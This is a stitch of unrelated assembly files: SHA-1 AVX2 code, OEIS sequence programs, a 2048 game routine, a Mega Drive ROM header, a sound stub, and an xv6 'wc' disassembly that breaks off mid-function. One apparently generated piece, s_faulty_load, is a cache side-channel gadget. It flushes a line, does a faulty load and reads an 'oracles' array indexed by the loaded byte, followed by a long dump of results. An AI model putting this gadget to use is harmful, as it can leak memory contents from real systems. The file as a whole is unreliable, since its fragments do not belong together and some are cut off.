"Sha1-AVX2 outgoing transposed digest", A, B, C, D, E ;; update input pointers add inp0, IDX add inp1, IDX add inp2, IDX add inp3, IDX add inp4, IDX add inp5, IDX add inp6, IDX add inp7, IDX mov [state+_data_ptr_sha1+0*PTR_SZ], inp0 mov [state+_data_ptr_sha1+1*PTR_SZ], inp1 mov [state+_data_ptr_sha1+2*PTR_SZ], inp2 mov [state+_data_ptr_sha1+3*PTR_SZ], inp3 mov [state+_data_ptr_sha1+4*PTR_SZ], inp4 mov [state+_data_ptr_sha1+5*PTR_SZ], inp5 mov [state+_data_ptr_sha1+6*PTR_SZ], inp6 mov [state+_data_ptr_sha1+7*PTR_SZ], inp7 ;;;;;;;;;;;;;;;; ;; Postamble add rsp, FRAMESZ ret %ifdef LINUX section .note.GNU-stack noalloc noexec nowrite progbits %endif
rol rol and #$01
; A089809: Complement of A078588. ; 0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0 mul $0,2 cal $0,26274 ; Greatest k such that s(k) = n, where s = A026272. sub $0,1 mod $0,2 add $0,12 mov $1,$0 sub $1,12
; A128177: A128174 * A004736 as infinite lower triangular matrices. ; 1,2,1,4,2,1,6,4,2,1,9,6,4,2,1,12,9,6,4,2,1,16,12,9,6,4,2,1,20,16,12,9,6,4,2,1,25,20,16,12,9,6,4,2,1,30,25,20,16,12,9,6,4,2,1,36,30,25,20,16,12,9,6,4,2,1,42,36,30,25,20,16,12,9,6,4,2,1 seq $0,25676 ; Exponent of 8 (value of i) in n-th number of form 8^i*9^j. mov $1,$0 add $0,1 lpb $1 sub $1,1 add $0,$1 sub $1,1 lpe
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r15 push %rax push %rbp push %rbx push %rdi push %rsi lea addresses_D_ht+0xd62d, %r10 nop nop nop and $22064, %rbp movl $0x61626364, (%r10) nop nop nop and $59590, %rax lea addresses_WT_ht+0xae26, %rsi nop dec %r15 mov $0x6162636465666768, %rbx movq %rbx, %xmm6 movups %xmm6, (%rsi) nop nop nop nop nop xor %rax, %rax lea addresses_normal_ht+0x3c46, %r15 nop nop nop nop nop cmp %r10, %r10 mov (%r15), %eax nop nop nop nop xor %rbp, %rbp lea addresses_A_ht+0xfaa6, %rdi nop nop nop nop sub %rbx, %rbx mov $0x6162636465666768, %rax movq %rax, (%rdi) nop nop nop nop xor $38950, %r15 lea addresses_D_ht+0x3856, %rbp nop nop nop nop xor $45909, %rax movb $0x61, (%rbp) add $49495, %rsi lea addresses_WT_ht+0xdde6, %r10 nop nop nop xor $37141, %r15 mov $0x6162636465666768, %rdi movq %rdi, (%r10) nop nop nop nop nop xor $56034, %rax lea addresses_WC_ht+0x1a736, %rsi nop nop nop and %r15, %r15 movw $0x6162, (%rsi) nop xor %rbx, %rbx lea addresses_normal_ht+0x3be6, %rax nop nop nop nop nop add %r15, %r15 movb $0x61, (%rax) nop nop nop nop nop cmp %r10, %r10 pop %rsi pop %rdi pop %rbx pop %rbp pop %rax pop %r15 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r9 push %rbx push %rcx push %rdi push %rsi // REPMOV lea addresses_D+0x14566, %rsi lea addresses_UC+0x137e6, %rdi clflush (%rsi) mfence mov $21, %rcx rep movsl nop nop sub %r13, %r13 // Store lea addresses_WT+0x67e6, %rsi and %rbx, %rbx mov $0x5152535455565758, %r9 movq %r9, %xmm0 movups %xmm0, (%rsi) nop nop nop nop xor %r9, %r9 // Faulty Load lea addresses_WT+0x67e6, %r9 nop nop nop nop sub %rsi, %rsi movaps (%r9), %xmm5 vpextrq $1, %xmm5, %rcx lea oracles, %rsi and $0xff, %rcx shlq $12, %rcx mov (%rsi,%rcx,1), %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC', 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 16, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 16, 'AVXalign': True}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False}} {'src': {'same': False, 'congruent': 3, 'NT': True, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 3, 'NT': True, 'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 7, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; A094026: Expansion of x(1+10x)/((1-x^2)(1-10x^2)). ; 0,1,10,11,110,111,1110,1111,11110,11111,111110,111111,1111110,1111111,11111110,11111111,111111110,111111111,1111111110,1111111111,11111111110,11111111111,111111111110,111111111111,1111111111110,1111111111111,11111111111110,11111111111111,111111111111110,111111111111111,1111111111111110,1111111111111111,11111111111111110,11111111111111111,111111111111111110,111111111111111111,1111111111111111110,1111111111111111111,11111111111111111110,11111111111111111111,111111111111111111110,111111111111111111111,1111111111111111111110,1111111111111111111111,11111111111111111111110,11111111111111111111111,111111111111111111111110,111111111111111111111111,1111111111111111111111110,1111111111111111111111111,11111111111111111111111110,11111111111111111111111111,111111111111111111111111110,111111111111111111111111111,1111111111111111111111111110,1111111111111111111111111111,11111111111111111111111111110,11111111111111111111111111111,111111111111111111111111111110,111111111111111111111111111111,1111111111111111111111111111110,1111111111111111111111111111111,11111111111111111111111111111110,11111111111111111111111111111111,111111111111111111111111111111110,111111111111111111111111111111111,1111111111111111111111111111111110,1111111111111111111111111111111111,11111111111111111111111111111111110,11111111111111111111111111111111111,111111111111111111111111111111111110,111111111111111111111111111111111111 add $0,2 lpb $0 sub $0,2 mul $1,10 add $1,1 lpe add $1,$0 sub $1,1 mov $0,$1
PUBLIC addnum EXTERN randn:PROC EXTERN newnum:PROC .code ; adds a new number into an empty slot in the grid ; RCX = grid ptr ; RDX = grid size ; R8 = grbuf addnum PROC PUSH R12 PUSH R13 PUSH R14 ENTER 32, 0 MOV R12, RCX ; grid ptr MOV R13, RDX ; grid size MOV R14, R8 ; grbuf MOV RCX, 0 MOV RDX, 0 searchloop: MOV RAX, [R12 + RCX * 8] CMP RAX, 0 JNE numnotfound MOV [R14 + RDX * 8], RCX ; adds index as free slot INC RDX numnotfound: INC RCX CMP RCX, R13 JL searchloop MOV RCX, 0 CALL randn MOV R13, RAX ; now used to store randn result, grid size no longer needed CALL newnum MOV RDX, [R14 + R13 * 8] ; loads index MOV [R12 + RDX * 8], RAX ; stores value LEAVE POP R14 POP R13 POP R12 RET addnum ENDP END
/* * rom_header.asm * Written for use with GNU AS * Copyright © 2020 Ben Sampson <github.com/billyrayvalentine> * This work is free. You can redistribute it and/or modify it under the * terms of the Do What The Fuck You Want To Public License, Version 2, * as published by Sam Hocevar. See the COPYING file for more details. * * Vector table with interrupts - Thanks to Big Evil Corporation for this and * most of what is in this file * https://github.com/BigEvilCorporation */ rom_start: dc.l 0x00FFE000 /* Initial stack pointer value */ dc.l cpu_entrypoint /* Start of program */ dc.l cpu_exception /* Bus error */ dc.l cpu_exception /* Address error */ dc.l cpu_exception /* Illegal instruction */ dc.l cpu_exception /* Division by zero */ dc.l cpu_exception /* CHK cpu_exception */ dc.l cpu_exception /* TRAPV cpu_exception */ dc.l cpu_exception /* Privilege violation */ dc.l int_null /* TRACE exception */ dc.l int_null /* Line-A emulator */ dc.l int_null /* Line-F emulator */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Spurious exception */ dc.l int_null /* IRQ level 1 */ dc.l int_null /* IRQ level 2 */ dc.l int_null /* IRQ level 3 */ dc.l int_hinterrupt /* IRQ level 4 (horizontal retrace interrupt) */ dc.l int_null /* IRQ level 5 */ dc.l int_vinterrupt /* IRQ level 6 (vertical retrace interrupt) */ dc.l int_null /* IRQ level 7 */ dc.l int_null /* TRAP #00 exception */ dc.l int_null /* TRAP #01 exception */ dc.l int_null /* TRAP #02 exception */ dc.l int_null /* TRAP #03 exception */ dc.l int_null /* TRAP #04 exception */ dc.l int_null /* TRAP #05 exception */ dc.l int_null /* TRAP #06 exception */ dc.l int_null /* TRAP #07 exception */ dc.l int_null /* TRAP #08 exception */ dc.l int_null /* TRAP #09 exception */ dc.l int_null /* TRAP #10 exception */ dc.l int_null /* TRAP #11 exception */ dc.l int_null /* TRAP #12 exception */ dc.l int_null /* TRAP #13 exception */ dc.l int_null /* TRAP #14 exception */ dc.l int_null /* TRAP #15 exception */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ dc.l int_null /* Unused (reserved) */ /* * ROM Header - Explained really well here https://www.plutiedev.com/rom-header * For some reason GNU AS won't do dc.b 'STRING' so we have to use .ascii "string" */ .ascii "SEGA MEGA DRIVE " /* Console name */ .ascii "BillyRay " /* Copyright holder and release date */ .ascii "Falling Demo " /* Domestic name */ .ascii "Falling Demo " /* International name */ .ascii "GM XXXXXXXX-XX" /* Version number */ dc.w 0x0000 /* Checksum */ .ascii "J " /* I/O support */ dc.l rom_start /* Start address of ROM */ dc.l rom_end-1 /* End address of ROM */ dc.l 0x00FF0000 /* Start address of RAM */ dc.l 0x00FF0000+0x0000FFFF /* End address of RAM */ dc.l 0x00000000 /* SRAM enabled */ dc.l 0x00000000 /* Unused */ dc.l 0x00000000 /* Start address of SRAM */ dc.l 0x00000000 /* End address of SRAM */ dc.l 0x00000000 /* Unused */ dc.l 0x00000000 /* Unused */ .ascii " " /* Notes (unused) */ .ascii "JUE " /* Country codes */
; void *bit_play_tritone_di_fastcall(void *song) SECTION code_sound_bit PUBLIC _bit_play_tritone_di_fastcall EXTERN asm_bit_play_tritone_di defc _bit_play_tritone_di_fastcall = asm_bit_play_tritone_di
_wc: file format elf32-i386 Disassembly of section .text: 00000000 <main>: printf(1, "%d %d %d %s\n", l, w, c, name); } int main(int argc, char *argv[]) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 57 push %edi 4: 56 push %esi } printf(1, "%d %d %d %s\n", l, w, c, name); } int main(int argc, char *argv[]) 5: be 01 00 00 00 mov $0x1,%esi { a: 53 push %ebx b: 83 e4 f0 and $0xfffffff0,%esp e: 83 ec 20 sub $0x20,%esp 11: 8b 7d 08 mov 0x8(%ebp),%edi } printf(1, "%d %d %d %s\n", l, w, c, name); } int main(int argc, char *argv[]) 14: 8b 5d 0c mov 0xc(%ebp),%ebx 17: 83 c3 04 add $0x4,%ebx { int fd, i; if(argc <= 1){ 1a: 83 ff 01 cmp $0x1,%edi 1d: 7e 63 jle 82 <main+0x82> 1f: 90 nop wc(0, ""); exit(); } for(i = 1; i < argc; i++){ if((fd = open(argv[i], 0)) < 0){ 20: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 27: 00 28: 8b 03 mov (%ebx),%eax 2a: 89 04 24 mov %eax,(%esp) 2d: e8 d2 03 00 00 call 404 <open> 32: 85 c0 test %eax,%eax 34: 78 2d js 63 <main+0x63> printf(1, "wc: cannot open %s\n", argv[i]); exit(); } wc(fd, argv[i]); 36: 8b 13 mov (%ebx),%edx if(argc <= 1){ wc(0, ""); exit(); } for(i = 1; i < argc; i++){ 38: 83 c6 01 add $0x1,%esi 3b: 83 c3 04 add $0x4,%ebx if((fd = open(argv[i], 0)) < 0){ printf(1, "wc: cannot open %s\n", argv[i]); exit(); } wc(fd, argv[i]); 3e: 89 04 24 mov %eax,(%esp) 41: 89 44 24 1c mov %eax,0x1c(%esp) 45: 89 54 24 04 mov %edx,0x4(%esp) 49: e8 52 00 00 00 call a0 <wc> close(fd); 4e: 8b 44 24 1c mov 0x1c(%esp),%eax 52: 89 04 24 mov %eax,(%esp) 55: e8 92 03 00 00 call 3ec <close> if(argc <= 1){ wc(0, ""); exit(); } for(i = 1; i < argc; i++){ 5a: 39 fe cmp %edi,%esi 5c: 75 c2 jne 20 <main+0x20> exit(); } wc(fd, argv[i]); close(fd); } exit(); 5e: e8 61 03 00 00 call 3c4 <exit> exit(); } for(i = 1; i < argc; i++){ if((fd = open(argv[i], 0)) < 0){ printf(1, "wc: cannot open %s\n", argv[i]); 63: 8b 03 mov (%ebx),%eax 65: c7 44 24 04 21 08 00 movl $0x821,0x4(%esp) 6c: 00 6d: c7 04 24 01 00 00 00 movl $0x1,(%esp) 74: 89 44 24 08 mov %eax,0x8(%esp) 78: e8 a3 04 00 00 call 520 <printf> exit(); 7d: e8 42 03 00 00 call 3c4 <exit> main(int argc, char *argv[]) { int fd, i; if(argc <= 1){ wc(0, ""); 82: c7 44 24 04 13 08 00 movl $0x813,0x4(%esp) 89: 00 8a: c7 04 24 00 00 00 00 movl $0x0,(%esp) 91: e8 0a 00 00 00 call a0 <wc> exit(); 96: e8 29 03 00 00 call 3c4 <exit> 9b: 90 nop 9c: 90 nop 9d: 90 nop 9e: 90 nop 9f: 90 nop 000000a0 <wc>: char buf[512]; void wc(int fd, char *name) { a0: 55 push %ebp a1: 89 e5 mov %esp,%ebp a3: 57 push %edi int i, n; int l, w, c, inword; l = w = c = 0; inword = 0; a4: 31 ff xor %edi,%edi char buf[512]; void wc(int fd, char *name) { a6: 56 push %esi int i, n; int l, w, c, inword; l = w = c = 0; a7: 31 f6 xor %esi,%esi char buf[512]; void wc(int fd, char *name) { a9: 53 push %ebx aa: 83 ec 3c sub $0x3c,%esp int i, n; int l, w, c, inword; l = w = c = 0; ad: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp) b4: c7 45 e0 00 00 00 00 movl $0x0,-0x20(%ebp) bb: 90 nop bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi inword = 0; while((n = read(fd, buf, sizeof(buf))) > 0){ c0: 8b 45 08 mov 0x8(%ebp),%eax c3: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) ca: 00 cb: c7 44 24 04 60 0b 00 movl $0xb60,0x4(%esp) d2: 00 d3: 89 04 24 mov %eax,(%esp) d6: e8 01 03 00 00 call 3dc <read> db: 83 f8 00 cmp $0x0,%eax de: 89 45 e4 mov %eax,-0x1c(%ebp) e1: 7e 5c jle 13f <wc+0x9f> e3: 31 db xor %ebx,%ebx e5: eb 0b jmp f2 <wc+0x52> e7: 90 nop for(i=0; i<n; i++){ c++; if(buf[i] == '\n') l++; if(strchr(" \r\t\n\v", buf[i])) inword = 0; e8: 31 ff xor %edi,%edi int l, w, c, inword; l = w = c = 0; inword = 0; while((n = read(fd, buf, sizeof(buf))) > 0){ for(i=0; i<n; i++){ ea: 83 c3 01 add $0x1,%ebx ed: 3b 5d e4 cmp -0x1c(%ebp),%ebx f0: 74 38 je 12a <wc+0x8a> c++; if(buf[i] == '\n') f2: 0f be 83 60 0b 00 00 movsbl 0xb60(%ebx),%eax l++; f9: 31 d2 xor %edx,%edx if(strchr(" \r\t\n\v", buf[i])) fb: c7 04 24 fe 07 00 00 movl $0x7fe,(%esp) inword = 0; while((n = read(fd, buf, sizeof(buf))) > 0){ for(i=0; i<n; i++){ c++; if(buf[i] == '\n') l++; 102: 3c 0a cmp $0xa,%al 104: 0f 94 c2 sete %dl 107: 01 d6 add %edx,%esi if(strchr(" \r\t\n\v", buf[i])) 109: 89 44 24 04 mov %eax,0x4(%esp) 10d: e8 4e 01 00 00 call 260 <strchr> 112: 85 c0 test %eax,%eax 114: 75 d2 jne e8 <wc+0x48> inword = 0; else if(!inword){ 116: 85 ff test %edi,%edi 118: 75 1e jne 138 <wc+0x98> w++; 11a: 83 45 e0 01 addl $0x1,-0x20(%ebp) int l, w, c, inword; l = w = c = 0; inword = 0; while((n = read(fd, buf, sizeof(buf))) > 0){ for(i=0; i<n; i++){ 11e: 83 c3 01 add $0x1,%ebx 121: 3b 5d e4 cmp -0x1c(%ebp),%ebx l++; if(strchr(" \r\t\n\v", buf[i])) inword = 0; else if(!inword){ w++; inword = 1; 124: 66 bf 01 00 mov $0x1,%di int l, w, c, inword; l = w = c = 0; inword = 0; while((n = read(fd, buf, sizeof(buf))) > 0){ for(i=0; i<n; i++){ 128: 75 c8 jne f2 <wc+0x52> #include "user.h" char buf[512]; void wc(int fd, char *name) 12a: 8b 45 dc mov -0x24(%ebp),%eax 12d: 01 d8 add %ebx,%eax 12f: 89 45 dc mov %eax,-0x24(%ebp) 132: eb 8c jmp c0 <wc+0x20> 134: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c++; if(buf[i] == '\n') l++; if(strchr(" \r\t\n\v", buf[i])) inword = 0; else if(!inword){ 138: bf 01 00 00 00 mov $0x1,%edi 13d: eb ab jmp ea <wc+0x4a> w++; inword = 1; } } } if(n < 0){ 13f: 75 35 jne 176 <wc+0xd6> printf(1, "wc: read error\n"); exit(); } printf(1, "%d %d %d %s\n", l, w, c, name); 141: 8b 45 0c mov 0xc(%ebp),%eax 144: 89 74 24 08 mov %esi,0x8(%esp) 148: c7 44 24 04 14 08 00 movl $0x814,0x4(%esp) 14f: 00 150: c7 04 24 01 00 00 00 movl $0x1,(%esp) 157: 89 44 24 14 mov %eax,0x14(%esp) 15b: 8b 45 dc mov -0x24(%ebp),%eax 15e: 89 44 24 10 mov %eax,0x10(%esp) 162: 8b 45 e0 mov -0x20(%ebp),%eax 165: 89 44 24 0c mov %eax,0xc(%esp) 169: e8 b2 03 00 00 call 520 <printf> } 16e: 83 c4 3c add $0x3c,%esp 171: 5b pop %ebx 172: 5e pop %esi 173: 5f pop %edi 174: 5d pop %ebp 175: c3 ret inword = 1; } } } if(n < 0){ printf(1, "wc: read error\n"); 176: c7 44 24 04 04 08 00 movl $0x804,0x4(%esp) 17d: 00 17e: c7 04 24 01 00 00 00 movl $0x1,(%esp) 185: e8 96 03 00 00 call 520 <printf> exit(); 18a: e8 35 02 00 00 call 3c4 <exit> 18f: 90 nop 00000190 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 190: 55 push %ebp char *os; os = s; while((*s++ = *t++) != 0) 191: 31 d2 xor %edx,%edx #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 193: 89 e5 mov %esp,%ebp 195: 8b 45 08 mov 0x8(%ebp),%eax 198: 53 push %ebx 199: 8b 5d 0c mov 0xc(%ebp),%ebx 19c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi char *os; os = s; while((*s++ = *t++) != 0) 1a0: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx 1a4: 88 0c 10 mov %cl,(%eax,%edx,1) 1a7: 83 c2 01 add $0x1,%edx 1aa: 84 c9 test %cl,%cl 1ac: 75 f2 jne 1a0 <strcpy+0x10> ; return os; } 1ae: 5b pop %ebx 1af: 5d pop %ebp 1b0: c3 ret 1b1: eb 0d jmp 1c0 <strcmp> 1b3: 90 nop 1b4: 90 nop 1b5: 90 nop 1b6: 90 nop 1b7: 90 nop 1b8: 90 nop 1b9: 90 nop 1ba: 90 nop 1bb: 90 nop 1bc: 90 nop 1bd: 90 nop 1be: 90 nop 1bf: 90 nop 000001c0 <strcmp>: int strcmp(const char *p, const char *q) { 1c0: 55 push %ebp 1c1: 89 e5 mov %esp,%ebp 1c3: 8b 4d 08 mov 0x8(%ebp),%ecx 1c6: 56 push %esi 1c7: 8b 55 0c mov 0xc(%ebp),%edx 1ca: 53 push %ebx while(*p && *p == *q) 1cb: 0f b6 01 movzbl (%ecx),%eax 1ce: 0f b6 1a movzbl (%edx),%ebx 1d1: 84 c0 test %al,%al 1d3: 74 23 je 1f8 <strcmp+0x38> 1d5: 38 d8 cmp %bl,%al 1d7: 74 10 je 1e9 <strcmp+0x29> 1d9: eb 2d jmp 208 <strcmp+0x48> 1db: 90 nop 1dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1e0: 83 c1 01 add $0x1,%ecx 1e3: 38 d8 cmp %bl,%al 1e5: 75 21 jne 208 <strcmp+0x48> p++, q++; 1e7: 89 f2 mov %esi,%edx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 1e9: 0f b6 41 01 movzbl 0x1(%ecx),%eax p++, q++; 1ed: 8d 72 01 lea 0x1(%edx),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 1f0: 0f b6 5a 01 movzbl 0x1(%edx),%ebx 1f4: 84 c0 test %al,%al 1f6: 75 e8 jne 1e0 <strcmp+0x20> p++, q++; return (uchar)*p - (uchar)*q; 1f8: 0f b6 db movzbl %bl,%ebx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 1fb: 31 c0 xor %eax,%eax p++, q++; return (uchar)*p - (uchar)*q; 1fd: 29 d8 sub %ebx,%eax } 1ff: 5b pop %ebx 200: 5e pop %esi 201: 5d pop %ebp 202: c3 ret 203: 90 nop 204: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi int strcmp(const char *p, const char *q) { while(*p && *p == *q) p++, q++; return (uchar)*p - (uchar)*q; 208: 0f b6 db movzbl %bl,%ebx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 20b: 0f b6 c0 movzbl %al,%eax p++, q++; return (uchar)*p - (uchar)*q; 20e: 29 d8 sub %ebx,%eax } 210: 5b pop %ebx 211: 5e pop %esi 212: 5d pop %ebp 213: c3 ret 214: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 21a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000220 <strlen>: uint strlen(const char *s) { 220: 55 push %ebp int n; for(n = 0; s[n]; n++) 221: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; } uint strlen(const char *s) { 223: 89 e5 mov %esp,%ebp 225: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 228: 80 39 00 cmpb $0x0,(%ecx) 22b: 74 0e je 23b <strlen+0x1b> 22d: 31 d2 xor %edx,%edx 22f: 90 nop 230: 83 c2 01 add $0x1,%edx 233: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 237: 89 d0 mov %edx,%eax 239: 75 f5 jne 230 <strlen+0x10> ; return n; } 23b: 5d pop %ebp 23c: c3 ret 23d: 8d 76 00 lea 0x0(%esi),%esi 00000240 <memset>: void* memset(void *dst, int c, uint n) { 240: 55 push %ebp 241: 89 e5 mov %esp,%ebp 243: 8b 55 08 mov 0x8(%ebp),%edx 246: 57 push %edi } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 247: 8b 4d 10 mov 0x10(%ebp),%ecx 24a: 8b 45 0c mov 0xc(%ebp),%eax 24d: 89 d7 mov %edx,%edi 24f: fc cld 250: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 252: 89 d0 mov %edx,%eax 254: 5f pop %edi 255: 5d pop %ebp 256: c3 ret 257: 89 f6 mov %esi,%esi 259: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000260 <strchr>: char* strchr(const char *s, char c) { 260: 55 push %ebp 261: 89 e5 mov %esp,%ebp 263: 8b 45 08 mov 0x8(%ebp),%eax 